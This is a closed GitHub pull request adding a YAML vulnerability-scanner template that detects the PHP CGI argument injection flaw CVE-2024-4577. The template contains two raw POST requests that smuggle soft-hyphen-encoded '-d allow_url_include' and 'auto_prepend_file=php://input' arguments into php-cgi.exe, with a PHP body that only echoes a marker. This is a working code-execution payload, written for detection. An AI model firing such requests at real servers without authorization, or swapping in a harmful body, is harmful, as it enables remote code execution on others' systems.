Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2024-4577.yaml #9993

Closed
wants to merge 2 commits into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
34 changes: 34 additions & 0 deletions http/cves/2024/CVE-2024-4577.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
id: CVE-2024-4577
info:
name: PHP CGI Argument Injection Detection
author: Alan Abhilash
severity: high
description: This template detects PHP CGI argument injection vulnerability (CVE-2024-4577).
reference: https://github.com/TAM-K592/CVE-2024-4577
tags: cgi, php, injection, vulnerability, cve

requests:
- raw:
- |
POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

<?php echo "vulnerable"; ?>
- |
POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

<?php echo "vulnerable"; ?>

matchers:
- type: word
words:
- "vulnerable"
- "directory"
- "index of"
condition: or
part: body